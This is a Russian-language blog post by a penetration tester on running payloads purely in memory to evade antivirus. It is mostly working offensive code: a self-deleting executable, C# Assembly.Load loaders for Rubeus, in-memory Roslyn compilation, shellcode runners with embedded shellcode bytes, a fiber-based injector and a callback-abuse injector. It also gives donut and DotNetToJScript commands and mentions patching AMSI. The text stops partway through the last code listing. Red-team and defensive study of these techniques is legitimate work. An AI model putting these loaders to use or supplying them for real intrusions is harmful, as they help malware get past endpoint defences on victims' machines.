
Привет, Хабр! Меня зовут Миша, я работаю в МТС RED в команде тестирования на проникновение на позиции эксперта.
В ходе пентестов очень часто приходится бороться с антивирусами. Увы, это может отнимать много времени, что негативно сказывается на результатах проекта. Тем не менее есть парочка крутых трюков, которые позволят на время забыть про антивирус на хосте, и один из них — выполнение полезной нагрузки в памяти.
Ни для кого не секрет, что во время пентестов атакующим приходится использовать готовые инструменты, будь то нагрузка для Cobalt Strike, серверная часть от поднимаемого прокси-сервера или даже дампилка процесса lsass.exe. Что объединяет все эти файлы? То, что все они давным-давно известны антивирусам, и любой из них не оставит без внимания факт появления вредоноса на диске.
Заметили ключевой момент? Факт появления вредоноса на диске. Неужели если мы сможем научиться выполнять пейлоад в оперативной памяти, то пройдём ниже радаров антивирусов? Давайте разберёмся с техниками выполнения файлов полностью в памяти и увидим, насколько жизнь атакующих станет проще, если они научатся работать, не затрагивая диск.
Основы выполнения в памяти

Не настраивайтесь на хардкор, я постараюсь рассказать всё простым и понятным языком.
Выполнение в памяти — абсолютно нормальное поведение. Я бы даже сказал, что всё только так и выполняется. По сути диск — лишь плацдарм, склад, с которого тянутся нужные программы, а затем загрузчик проецирует их в памяти и вызывает точку входа программы. Ничто не мешает нам собственноручно разместить байты данных в памяти, а затем заставить систему их выполнить.
Итак, предлагаю убедиться в том, что диск нам как таковой не нужен — всё успешно работает и без него, полностью в оперативной памяти. Пусть у нас будет файл example.exe, который сначала есть на диске, а потом его не станет: он пропадёт и останется лишь в ОЗУ. Такая техника называется Self-Deletion. Казалось бы, можно запустить пейлоад, а в нём предусмотреть вызов функции DeleteFIle(), но не тут-то было. При попытке удаления самого себя мы получим ошибку 0x5 ERROR_ACCESS_DENIED.
Тем не менее мы можем воспользоваться особенностями файловой системы NTFS, используемой в Windows. В ней существуют так называемые потоки данных, основным можно считать поток $DATA. Если пропадёт этот поток, то файл исчезнет, его невозможно будет прочитать.
К сожалению, поток удалить нельзя, но его можно переименовать, что так же приведёт к невозможности чтения содержимого файла и, как следствие, невозможности его повторного считывания и выполнения. Не будем особо углубляться в технические детали. Отмечу лишь, что переименование потока данных будет осуществляться с помощью функции SetFileInformationByHandle() с передачей в качестве FileInformationClass значения FileRenameInfo, а затем FileDispositionInfo.
Код
#include <Windows.h> #include <iostream> #define NEW_STREAM L":HABRAHABR" BOOL DeleteSelf() { WCHAR szPath[MAX_PATH * 2] = { 0 }; FILE_DISPOSITION_INFO Delete = { 0 }; HANDLE hFile = INVALID_HANDLE_VALUE; PFILE_RENAME_INFO pRename = NULL; const wchar_t* NewStream = (const wchar_t*)NEW_STREAM; SIZE_T sRename = sizeof(FILE_RENAME_INFO) + sizeof(NewStream); pRename = (PFILE_RENAME_INFO)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, sRename); if (!pRename) { printf("[!] HeapAlloc Failed With Error : %d \n", GetLastError()); return FALSE; } ZeroMemory(szPath, sizeof(szPath)); ZeroMemory(&Delete, sizeof(FILE_DISPOSITION_INFO)); Delete.DeleteFile = TRUE; pRename->FileNameLength = sizeof(NewStream); RtlCopyMemory(pRename->FileName, NewStream, sizeof(NewStream)); if (GetModuleFileNameW(NULL, szPath, MAX_PATH * 2) == 0) { printf("[!] GetModuleFileNameW Failed With Error : %d \n", GetLastError()); return FALSE; } hFile = CreateFileW(szPath, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL); if (hFile == INVALID_HANDLE_VALUE) { printf("[!] CreateFileW [R] Failed With Error : %d \n", GetLastError()); return FALSE; } wprintf(L"[i] Renaming :$DATA to %s ...", NEW_STREAM); if (!SetFileInformationByHandle(hFile, FileRenameInfo, pRename, sRename)) { printf("[!] SetFileInformationByHandle [R] Failed With Error : %d \n", GetLastError()); return FALSE; } wprintf(L"[+] DONE \n"); CloseHandle(hFile); hFile = CreateFileW(szPath, DELETE | SYNCHRONIZE, FILE_SHARE_READ, NULL, OPEN_EXISTING, NULL, NULL); if (hFile == INVALID_HANDLE_VALUE) { printf("[!] CreateFileW [D] Failed With Error : %d \n", GetLastError()); return FALSE; } wprintf(L"[i] DELETING ..."); if (!SetFileInformationByHandle(hFile, FileDispositionInfo, &Delete, sizeof(Delete))) { printf("[!] SetFileInformationByHandle [D] Failed With Error : %d \n", GetLastError()); return FALSE; } wprintf(L"[+] DONE \n"); CloseHandle(hFile); HeapFree(GetProcessHeap(), 0, pRename); return TRUE; } int main() { DeleteSelf(); getchar(); return 0; }
Как мы видим, процесс успешно создан и продолжает свою работу, даже когда с диска система уже не в состоянии что-либо прочитать. Это доказывает тот факт, что файл считывается загрузчиком, помещается в оперативную память, а затем идёт его выполнение.
Встроенные возможности языков для выполнения кода в памяти
C# и System.Reflection.Assembly
У некоторых языков есть встроенный функционал для выполнения определённого кода в памяти. Например, у C# есть неймспейс System.Reflection, а в нём класс Assembly с методом Load, который можно использовать для помещения и последующего выполнения C# сборки в памяти. Прототип следующий:
public static System.Reflection.Assembly Load (byte[] rawAssembly);
Функция принимает один-единственный параметр — rawAssembly. Он представляет собой массив байтов сборки, которую требуется поместить в память. Предлагаю рассмотреть файл Rubeus.exe — инструмент отлично подходит для демонстрации, ведь он написан на C#.
Для считывания байтов будем использовать File.ReadAllBytes, после чего будем передавать байты в описанную выше функцию и вызывать её точку входа.
using System; using System.IO; using System.Reflection; namespace AssemblyLoader { class Program { static void Main(string[] args) { Byte[] bytes = File.ReadAllBytes(@"C:\Users\Michael\Downloads\Rubeus.exe"); ExecuteAssembly(bytes, new string[] { "user" }); Console.Write("Press any key to exit"); string input = Console.ReadLine(); } public static void ExecuteAssembly(Byte[] assemblyBytes, string[] param) { Assembly assembly = Assembly.Load(assemblyBytes); MethodInfo method = assembly.EntryPoint; object[] parameters = new[] { param }; object execute = method.Invoke(null, parameters); } } } ```

Таким образом, мы можем на машине атакующего считать все байты полезной нагрузки, а затем на машине атакуемого вызвать метод Assembly.Load(), что приведёт к возможности запуска пейлоада в памяти! Начнём со считывания байтов. Каждый раз использовать File.ReadAllBytes(), мягко говоря, нудно, поэтому байты можно считать с использованием Powershell:
$FilePath = "C:\Users\Michael\Downloads\Rubeus.exe""
$File = [System.IO.File]::ReadAllBytes($FilePath);
В переменной $File будет находиться слишком большой массив байтов, с которым не очень удобно работать:

Поэтому предлагаю закодировать этот массив в Base64, а затем на машине атакуемого строку декодировать и получить нужный поток байтов.
$Base64String = [System.Convert]::ToBase64String($File);
echo $Base64String;

Теперь остаётся лишь изменить наш лоадер, добавив в него полученную Base64 строку и функционал по её декодированию:
using System; using System.IO; using System.Reflection; namespace AssemblyLoader { class Program { static void Main(string[] args) { string assemblyBase64 = "<b64 value>"; Byte[] bytes = Convert.FromBase64String(assemblyBase64); ExecuteAssembly(bytes, new string[] { "user" }); Console.Write("Press any key to exit"); string input = Console.ReadLine(); } public static void ExecuteAssembly(Byte[] assemblyBytes, string[] param) { Assembly assembly = Assembly.Load(assemblyBytes); MethodInfo method = assembly.EntryPoint; object[] parameters = new[] { param }; object execute = method.Invoke(null, parameters); } } }

Причём не обязательно каждый раз генерировать новую сборку, ведь у нас есть возможность вызова дотнетовских методов из Powershell. В частности, можно обратиться к нужному нам System.Reflection, а из него вызывать метод Assembly.Load(), что позволит с таким же успехом загрузить сборку и обратиться к ней.
Синтаксис прост:
$blob = "<полученное base64>" $load = [System.Reflection.Assembly]::Load([Convert]::FromBase64String($blob));
После чего нужно лишь выбрать желаемый для вызова метод, используя следующий синтаксис:
[<namespace>.<class>]::<method>() # Ex [Rubeus.Program]::Main()
В случае с запуском через Powershell все байты сборки, передаваемой в метод Assembly.Load(), перед загрузкой окажутся в AMSI, поэтому нужно предварительно запатчить AMSI, чтобы он не ругался на наш загружаемый пейлоад.
Причём далеко не каждая сборка сможет успешно загрузиться подобным образом. Следует убедиться, что в проекте используется Net Framework, а не Net Core, так как Core не получится грузить в память. Вот статья, которой можно руководствоваться при изменении проекта с Core на Net Framework. Выбрать нужный фреймворк тоже можно непосредственно при создании проекта в Visual Studio:

В ходе исследования этого метода подгрузки сборок оказалось, что иногда у Powershell не получается обнаружить наличие сборки в памяти, поэтому придётся собственноручно вычленять и вызывать нужный метод:
$data = 'байты сборки' $assem = [System.Reflection.Assembly]::Load($data); $class = $assem.GetType('Rubeus.Program'); $method = $class.GetMethod('Main'); $method.Invoke(0, $null)
C# и MemoryStream()
В C# присутствует ещё один интересный механизм, позволяющий компилировать сборки буквально на ходу из представленного исходного кода. Причём, как я узнал позже, этот функционал появился относительно недавно, лишь в 2021 году.
Итак, сначала исходный код требуется подготовить с использованием CSharpSyntaxTree.ParseText(). В дальнейшем он должен храниться в виде экземпляра класса SyntaxTree.
SyntaxTree syntaxTree = CSharpSyntaxTree.ParseText(@" namespace ns{ using System; public class App{ public static void Main(string[] args){ Console.Write(""dada""); } } }");
Далее нужно добавить опции компиляции (у нас указывается, что это будет консольное приложение):
var options = new CSharpCompilationOptions( OutputKind.ConsoleApplication, optimizationLevel: OptimizationLevel.Debug, allowUnsafe: true);
Теперь подготовим сборку, которая будет выполняться в памяти. Сначала создаём переменную, которая будет олицетворять сборку, для этого используется функция CSharpCompilation.Create(). Первым параметром указываем имя сборки, а последним — необходимые опции компилятора. В нашем случае генерируется рандомное имя.
var compilation = CSharpCompilation.Create(Path.GetRandomFileName(), options: options);
Теперь у нас есть объект сборки, добавляем в неё исходный код, вызывая метод AddSyntaxTrees():
compilation = compilation.AddSyntaxTrees(syntaxTree);
Внутри нашей сборки есть зависимости от других сборок. Например, для того же вывода на консоль требуется наличие метода System.Console.Write(), а откуда его возьмёт компилятор? Поэтому теперь в сборку следует добавить зависимости от других сборок. Они чаще всего представлены в виде .dll файлов, а стандартные сборки находятся в одной и той же директории, которую можно извлечь вот так:
var assemblyPath = Path.GetDirectoryName(typeof(object).Assembly.Location);
Обратите внимание, что у проекта может быть множество зависимостей, поэтому потребуется завести список:
List<MetadataReference> references = new List<MetadataReference>(); references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Private.CoreLib.dll"))); references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Console.dll"))); references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Runtime.dll")));
Дополнительно можно распарсить наше ранее созданное синтаксическое дерево (помните? В нём исходный код собираемой сборки лежит). Для этого используем вот такой код:
var usings = compilation.SyntaxTrees.Select(tree => tree.GetRoot().DescendantNodes().OfType<UsingDirectiveSyntax>()).SelectMany(s => s).ToArray(); // добавляем расширение .dll foreach (var u in usings) { references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, u.Name.ToString() + ".dll"))); }
-
compilation.SyntaxTrees — из объекта сборки получаем все синтаксические деревья
-
Select(tree => tree.GetRoot().DescendantNodes().OfType<UsingDirectiveSyntax>()) — для каждого дерева из списка выполняется действие в скобках после Select. tree.GetRoot() возвращает корневой узел каждого дерева. DescendantNodes() получает все узлы дерева, производные от корневого. OfType<UsingDirectiveSyntax>() фильтрует узлы, оставляя только те, что представляют собой директивы using
-
SelectMany(s => s) — так как каждое дерево может содержать множество директив using, вызов SelectMany нужен для преобразования списка списков в один общий список
-
ToArray() — преобразует получившийся список в массив для дальнейшего использования. После чего пробегаемся по полученным сборкам и добавляем расширение .dll
Остаётся лишь добавить в объект сборки полученные зависимости и скомпилировать. Добавление осуществляется через метод compilation.AddReferences.
compilation = compilation.AddReferences(references);
Наконец вся магия исполнения в памяти заключается в использовании экземпляра класса MemoryStream, который позволяет работать с данными в памяти. Этот экземпляр мы передаём в метод compilation.Emit() (используется для компиляции сборки), что приводит к помещению скомпилированной сборки в память.
using (var ms = new MemoryStream()) { EmitResult result = compilation.Emit(ms); if (!result.Success) { IEnumerable<Diagnostic> failures = result.Diagnostics.Where(diagnostic => diagnostic.IsWarningAsError || diagnostic.Severity == DiagnosticSeverity.Error); foreach (Diagnostic diagnostic in failures) { Console.Error.WriteLine("{0}: {1}, {2}", diagnostic.Id, diagnostic.GetMessage(), diagnostic.Location); } } else { ms.Seek(0, SeekOrigin.Begin); AssemblyLoadContext context = AssemblyLoadContext.Default; Assembly assembly = context.LoadFromStream(ms); assembly.EntryPoint.Invoke(null, new object[] { new string[] { "arg1", "arg2", "etc" } }); } }
Затем не составит труда извлечь сборку из памяти и вызвать метод из неё.
Полный код проекта приведён ниже.
using System; using System.CodeDom.Compiler; using System.IO; using System.Reflection; using System.Runtime.Loader; using Microsoft.CodeAnalysis; using Microsoft.CodeAnalysis.CSharp; using Microsoft.CodeAnalysis.CSharp.Syntax; using Microsoft.CodeAnalysis.Emit; class Program { static void Main() { // создание экземпляра класса, содержащего исходный код SyntaxTree syntaxTree = CSharpSyntaxTree.ParseText(@" namespace ns{ using System; public class App{ public static void Main(string[] args){ Console.Write(""dada""); } } }"); // создаем опции компилятора, в которых говорим, что у нас консольное приложение var options = new CSharpCompilationOptions( OutputKind.ConsoleApplication, optimizationLevel: OptimizationLevel.Debug, allowUnsafe: true); // создание объекта сборки var compilation = CSharpCompilation.Create(Path.GetRandomFileName(), options: options); // добавление исходного кода в сборку compilation = compilation.AddSyntaxTrees(syntaxTree); // получение локального путя, где лежат все сборки var assemblyPath = Path.GetDirectoryName(typeof(object).Assembly.Location); List<MetadataReference> references = new List<MetadataReference>(); // добавление необходимых сборок в список references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Private.CoreLib.dll"))); references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Console.dll"))); references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, "System.Runtime.dll"))); // добавляем сборки из синтаксического дерева var usings = compilation.SyntaxTrees.Select(tree => tree.GetRoot().DescendantNodes().OfType<UsingDirectiveSyntax>()).SelectMany(s => s).ToArray(); // добавляем расширение .dll foreach (var u in usings) { references.Add(MetadataReference.CreateFromFile(Path.Combine(assemblyPath, u.Name.ToString() + ".dll"))); } // добавляем зависимости compilation = compilation.AddReferences(references); // компилим using (var ms = new MemoryStream()) { EmitResult result = compilation.Emit(ms); if (!result.Success) { IEnumerable<Diagnostic> failures = result.Diagnostics.Where(diagnostic => diagnostic.IsWarningAsError || diagnostic.Severity == DiagnosticSeverity.Error); foreach (Diagnostic diagnostic in failures) { Console.Error.WriteLine("{0}: {1}, {2}", diagnostic.Id, diagnostic.GetMessage(), diagnostic.Location); } } else { ms.Seek(0, SeekOrigin.Begin); AssemblyLoadContext context = AssemblyLoadContext.Default; Assembly assembly = context.LoadFromStream(ms); assembly.EntryPoint.Invoke(null, new object[] { new string[] { "arg1", "arg2", "etc" } }); } } } }
Таким образом, мы можем запускать практически любой удобный для нас код в памяти. Единственная проблема — исходники будут в явном виде находиться в программе, что не есть хорошо, конечно. Но тут можно использовать какие-нибудь криптографические либо кодировочные функции для сокрытия исходного кода.
Обратите внимание, что для запуска кода требуется добавить пакет Microsoft.CodeAnalysis.CSharp:



C#, память и неуправляемый код
Дотнетовские сборки мы выполнять научились, но что, если программа была написана на С++? В этом случае она исполняется вне платформы CLR и будет считаться неуправляемым кодом. Как следствие, выполнить её в памяти через описанные выше методы не получится.
Точку ставить рано, ведь существуют шеллкоды. Что, если мы сгенерируем шеллкод от существующей программы на С++, затем засунем этот шеллкод в С# проект, в котором реализуем логику по инжекту этого шеллкода в адресное пространство текущего процесса? В таком случае на выходе у нас будет полноценная сборка, которая загружается с использованием System.Reflection.Assembly.Load() и выполняет наш шеллкод. Получается такая матрёшка из четырёх кукол: вызов Assembly.Load() — первая кукла, загружаемая сборка — вторая, шеллкод в сборке — третья, и, наконец, шеллкод представляет собой нашу С++ программу — четвёртая.
Итак, сначала предлагаю подготовить программу, которая будет осуществлять запуск нашего шеллкода. Здесь будем использовать стандартный шеллкод-раннер с помощью GetDelegateForFunctionPointer():
using System; using System.Runtime.InteropServices; namespace ShellcodeLoader { public class Program { public static void Main(string[] args) { byte[] x86shc = new byte[193] { 0xfc,0xe8,0x82,0x00,0x00,0x00,0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30, 0x8b,0x52,0x0c,0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff, 0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,0xe2,0xf2,0x52, 0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,0x11,0x78,0xe3,0x48,0x01,0xd1, 0x51,0x8b,0x59,0x20,0x01,0xd3,0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b, 0x01,0xd6,0x31,0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03, 0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,0xd3,0x66,0x8b, 0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,0x8b,0x01,0xd0,0x89,0x44,0x24, 0x24,0x5b,0x5b,0x61,0x59,0x5a,0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb, 0x8d,0x5d,0x6a,0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f, 0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,0x9d,0xff,0xd5, 0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb,0x47,0x13,0x72,0x6f,0x6a, 0x00,0x53,0xff,0xd5,0x63,0x61,0x6c,0x63,0x2e,0x65,0x78,0x65,0x00 }; IntPtr funcAddr = VirtualAlloc( IntPtr.Zero, (uint)x86shc.Length, 0x1000, 0x40); Marshal.Copy(x86shc, 0, (IntPtr)(funcAddr), x86shc.Length); pFunc f = (pFunc)Marshal.GetDelegateForFunctionPointer(funcAddr, typeof(pFunc)); f(); return; } #region pinvokes [DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); delegate void pFunc(); #endregion } }
Теперь конвертируем байты этой сборки по описанному выше алгоритму в base64 строку и запускаем через System.Reflection.Assembly:

Отлично! Запуск тестового шеллкода работает. Пора переходить к генерации непосредственно самого шеллкода. Сначала определимся с программой. Предлагаю написать что-то более-менее серьёзное, чтобы проверить теорию наверняка. Используем графику, различные API-вызовы, циклы, коллбэки и прочую жуть:

#include <Windows.h> LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam); int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow) { // Создание окна HWND hwnd; WNDCLASSEX wc = { sizeof(WNDCLASSEX), CS_HREDRAW | CS_VREDRAW, WindowProc, 0, 0, hInstance, NULL, LoadCursor(NULL, IDC_ARROW), NULL, NULL, L"MyWindowClass", NULL }; RegisterClassEx(&wc); hwnd = CreateWindowEx(0, L"MyWindowClass", L"Pixel Drawing", WS_OVERLAPPEDWINDOW, CW_USEDEFAULT, CW_USEDEFAULT, 800, 600, NULL, NULL, hInstance, NULL); ShowWindow(hwnd, nCmdShow); // Получение контекста устройства (Device Context) HDC hdc = GetDC(hwnd); // Рисование пикселей for (int x = 0; x < 800; x++) { for (int y = 0; y < 600; y++) { SetPixel(hdc, x, y, RGB(x % 256, y % 256, (x + y) % 256)); // Задаем цвет пикселя } } // Основной цикл сообщений MSG msg; while (GetMessage(&msg, NULL, 0, 0)) { TranslateMessage(&msg); DispatchMessage(&msg); } // Освобождаем ресурсы и завершаем программу ReleaseDC(hwnd, hdc); UnregisterClass(L"MyWindowClass", hInstance); return 0; } // Обработка сообщений окна LRESULT CALLBACK WindowProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam) { switch (uMsg) { case WM_DESTROY: PostQuitMessage(0); return 0; } return DefWindowProc(hwnd, uMsg, wParam, lParam); }
Затем компилируем, после чего нужно перегнать программу в шеллкод. Для этого есть множество готовых инструментов:
-
https://github.com/TheWover/donut — стандартная версия
-
https://github.com/S4ntiagoP/donut/tree/syscalls — donut с сисколлами
Можно даже использовать Visual Studio для генерации шеллкода, об этом подробно написано в этой статье. Я человек простой, поэтому предлагаю использовать стандартный donut:
donut.exe -i CodeToShc.exe -o code.bin -b 1

Затем перегоняем из .bin формата в шестнадцатеричный шеллкод, который можно будет вставить в программу:
xxd -i code.bin > 1.h
В файле будет представлен шеллкод нашей программы:

Добавляем шеллкод в шеллкод-раннер и проверяем, что всё работает:

Остаётся лишь получить байты сборки и запустить эту сборку через System.Reflection.Assembly:

И получаем успешное выполнение сборки с шеллкодом:

Благодаря этому способу запуска шеллкода антивирус не в состоянии обнаружить такой способ инъекции:

Конвертация в JScript
Существует метод запуска дотнетовских сборок через конвертацию в JScript, для этого используется следующий инструмент: https://github.com/tyranid/DotNetToJScript.
Первым делом качаем проект по ссылке выше, открываем в студии, идём в Solution Explorer → тыкаем на TestClass.cs в проекте ExampleAssembly. Выбираем компилировать как .dll.

Затем наш код должен быть вставлен в классе TestClass(), например, следующий код выводит месседж-бокс:
using System.Diagnostics; using System.Runtime.InteropServices; using System.Windows.Forms; [ComVisible(true)] public class TestClass { public TestClass() { MessageBox.Show("Test", "Test", MessageBoxButtons.OK, MessageBoxIcon.Exclamation); } public void RunProcess(string path) { Process.Start(path); } }
После успешной компиляции в формате .dll используем скачанную выше тулзу для конвертации в js:
DotNetToJScript.exe <имя нашей длл> --lang=Jscript --ver=<версия .NET фреймворка> -o demo.js # Ex DotNetToJScript.exe ExampleAssembly.dll --lang=Jscript --ver=v4 -o demo.js
Полученный .js файл можно смело запускать, что приведёт к выполнению кода из TestClass(), а именно — появлению MessageBox.
Fibers
Фиберы — это одна из единиц выполнения кода, как процесс или поток. Фибер работает внутри конкретного потока. То есть выстраивается иерархия процесс → поток → фибер. Внутри потока может быть несколько фиберов. Причём фиберы управляются и контролируются самим приложением, а не операционной системой. Благодаря фиберам можно выстраивать более гибкие механизмы синхронизации, потому что они имеют собственный стек и регистры. Фиберы удобно использовать для задач сокрытия исполнения кода, так как выполнение кода внутри фиберов отследить намного сложнее, чем выполнение кода внутри потока. Самое интересное заключается в том, что стек фибера, как только фибер завершит свою работу, будет очищен. В результате чего антивирусному ПО будет сложнее обнаружить вредоносную активность в нашей программе.
Если же фибер внутри себя вызывает другой фибер, то стек очищен не будет. Будет произведено переключение стека и значений регистров на те, которые должны быть у фибера, на который переключились. Например, если в основном потоке значение регистра EAX 0x00, у фибера 1 оно равно 0x01, а у фибера 2 0x02, то, при переключении основного потока на фибер 1 значение регистра EAX станет равно 0x01, а при переключении из фибера 1 на фибер 2 оно станет равно 0x02. После завершения работы фибера 2 примет значение фибера 1 и т. д.
В идеале для сокрытия пейлоада от АВ следует разместить его где-то в файле — например, в PE, в соседней DLL библиотеке или где-то ещё. Затем запустить кучу потоков, в них кучу фиберов, а в каком-то из фиберов — полезную нагрузку.
Фиберы поддерживаются как в C#, так и в C++. Для разнообразия предлагаю этот PoC написать на C++. Итак, основная функция для работы с фиберами — CreateFiber():
LPVOID CreateFiber( [in] SIZE_T dwStackSize, [in] LPFIBER_START_ROUTINE lpStartAddress, [in, optional] LPVOID lpParameter );
-
dwStackSize — начальный размер стека
-
LPFIBER_START_ROUTINE — коллбэк-функция, которая будет считаться главной функцией фибера. Она вызывается при старте фибера
-
lpParameter — некоторые дополнительные данные, которые мы хотим передать в фибер
После создания фибера его запустить можно с помощью SwitchToFiber(). Обратите внимание, что нельзя напрямую вызывать эту функцию из потока — не произойдёт перехода потока управления. Поэтому требуется предварительно конвертировать текущий поток в фибер с помощью ConvertThreadToFiber().
Фиберы отлично подходят для исполнения наших пейлоадов в памяти по причине их достаточно хорошей скрытности. Предлагаю начать писать простенький PoC, в котором будет десять потоков и десять фиберов, но лишь в одном из фиберов будет осуществлен запуск нашего шеллкода.
Для синхронизации предлагаю использовать мьютекс. Создадим ещё в начале нашей программы мьютекс, а затем дёрнем его перед запуском шеллкода, чтобы предотвратить его повторные запуски.
Код
#include <windows.h> #include <vector> #include <thread> #define DEBUG size_t numOfThreads = 10; size_t numOfFibers = 10; unsigned char shc[] = "\x48\x31\xff\x48\xf7\xe7\x65\x48\x8b\x58\x60\x48\x8b\x5b\x18\x48\x8b\x5b\x20\x48\x8b\x1b\x48\x8b\x1b\x48\x8b\x5b\x20\x49\x89\xd8\x8b" "\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9\x08\x8b\x14\x0b\x4c\x01\xc2\x4d\x31\xd2\x44\x8b\x52\x1c\x4d\x01\xc2" "\x4d\x31\xdb\x44\x8b\x5a\x20\x4d\x01\xc3\x4d\x31\xe4\x44\x8b\x62\x24\x4d\x01\xc4\xeb\x32\x5b\x59\x48\x31\xc0\x48\x89\xe2\x51\x48\x8b" "\x0c\x24\x48\x31\xff\x41\x8b\x3c\x83\x4c\x01\xc7\x48\x89\xd6\xf3\xa6\x74\x05\x48\xff\xc0\xeb\xe6\x59\x66\x41\x8b\x04\x44\x41\x8b\x04" "\x82\x4c\x01\xc0\x53\xc3\x48\x31\xc9\x80\xc1\x07\x48\xb8\x0f\xa8\x96\x91\xba\x87\x9a\x9c\x48\xf7\xd0\x48\xc1\xe8\x08\x50\x51\xe8\xb0" "\xff\xff\xff\x49\x89\xc6\x48\x31\xc9\x48\xf7\xe1\x50\x48\xb8\x9c\x9e\x93\x9c\xd1\x9a\x87\x9a\x48\xf7\xd0\x50\x48\x89\xe1\x48\xff\xc2" "\x48\x83\xec\x20\x41\xff\xd6,\x00"; DWORD WINAPI threadProc(VOID*); VOID WINAPI fiberProc(LPVOID); HANDLE hMutex; int main() { std::vector<HANDLE> threads(numOfThreads); hMutex = CreateMutex(NULL, FALSE, L"Mutex"); for (auto& thread : threads) { thread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)threadProc, NULL, 0, NULL); } for (auto& thread : threads) { WaitForSingleObject(thread, INFINITE); } return 0; } DWORD WINAPI threadProc(LPVOID lpParam) { std::vector<PVOID> fibers(numOfFibers); ConvertThreadToFiber(NULL); for (int i = 0; i < numOfFibers; ++i) { fibers[i] = CreateFiber(0, (LPFIBER_START_ROUTINE)fiberProc, (LPVOID)i); } while (true) { for (auto& fiber : fibers) { SwitchToFiber(fiber); } } return 0; } VOID WINAPI fiberProc(LPVOID lpParam) { WaitForSingleObject(hMutex, INFINITE); hMutex = OpenMutex(MUTEX_ALL_ACCESS, FALSE, L"Mutex"); if (hMutex) { PVOID payload_mem = VirtualAlloc(0, sizeof(shc), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(payload_mem, shc, sizeof(shc)); ((void(*)())payload_mem)(); } }
Вам нужно лишь заменить шеллкод на шеллкод Rubeus. Благодаря такому серьёзному скрытию кода мы вновь успешно исполняем его в памяти и остаёмся вне поля зрения антивируса:

Специальные лоадеры
Существует целый класс программ, так называемых Reflective Loader’s, которые позволяют загружать код в память. Рефлективная загрузка кода в память основывается на том, что разработчик собственноручно создаёт алгоритм по занесению PE-файла в память — так же, как это делает и сам Windows. Либо хотя бы на уровне, чтобы пейлоад мог запуститься.
На Github достаточно много готовых PoC, выделю самые интересные:
-
Invoke-ReflectivePEInjection — повершелловский вариант
-
RunPE — подходит для запуска как управляемого, так и неуправляемого кода
-
FilelessPELoader — одна из самых толковых реализаций. Тянет пейлоад с удалённого сервера
Причём можно отдельно выделить класс программ, служащих для рефлективного внедрения DLL:
Тем не менее иногда все эти специальные лоадеры бесполезны. В большинстве случаев на пентесте достаточно перегнать программу в шеллкод, а затем заставить систему его как-нибудь выполнить. Причём если просто отойти от проторенной дороги и использовать ранее неизвестный метод запуска шеллкода, с большой вероятностью получится обойти антивирус.
Например, можно поискать любые функции, принимающие в качестве одного из параметров коллбэк. В Windows присутствует множество GUI-функций и GUI-приложений, которые принимают коллбек. Скажем, функция PdhBrowseCounters() может использоваться для отображения специального диалогового окна, в котором можно выбрать интересующие нас счетчики производительности для программы монитора ресурсов системы. Функция принимает структуру PDH_BROWSE_DLG_CONFIG, одним из элементов которой является pCallback.
Проблема лишь в том, что этот коллбэк вызывается только после того, как пользователь выберет нужные счётчики производительности. Опять же, мы можем выбрать эти счётчики за пользователя, а затем, используя SendMessage() сымитировать отправку сообщения о выборе счетчиков нужному окну.
Вот полный код программы, вам вновь достаточно лишь заменить шеллкод:
#include <windows.h> #include <pdh.h> #include <pdhmsg.h> #include <stdio.h> #include <iostream> #pragma comment(lib, "pdh.lib") DWORD WINAPI ThreadFunction(LPVOID lpParam) { Sleep(5000); HWND hwnd = NULL; hwnd = FindWindow(NULL, L"s"); ShowWindow(hwnd, SW_HIDE); if (hwnd) { HWND hwndButton = FindWindowEx(hwnd, NULL, L"Button", L"ОК"); // OK RUssian if (hwndButton) { SendMessage(hwndButton, BM_CLICK, 0, 0); } else { hwndButton = FindWindowEx(hwnd, NULL, L"Button", L"OK"); // OK English if (hwndButton) { SendMessage(hwndButton, BM_CLICK, 0, 0); } else { std::cout << "[-] Cant get handle on button" << std::endl; } } } return 0; } void ShowCounterBrowser() { PDH_BROWSE_DLG_CONFIG dlg; ZeroMemory(&dlg, sizeof(PDH_BROWSE_DLG_CONFIG)); unsigned char AbcdVar[] = "<SHELLCODE HERE>"; PVOID addr = VirtualAlloc(0, sizeof(AbcdVar), MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(addr, AbcdVar, sizeof(AbcdVar)); dlg.pCallBack = (CounterPathCallBack)addr; dlg.dwCallBackArg = NULL; 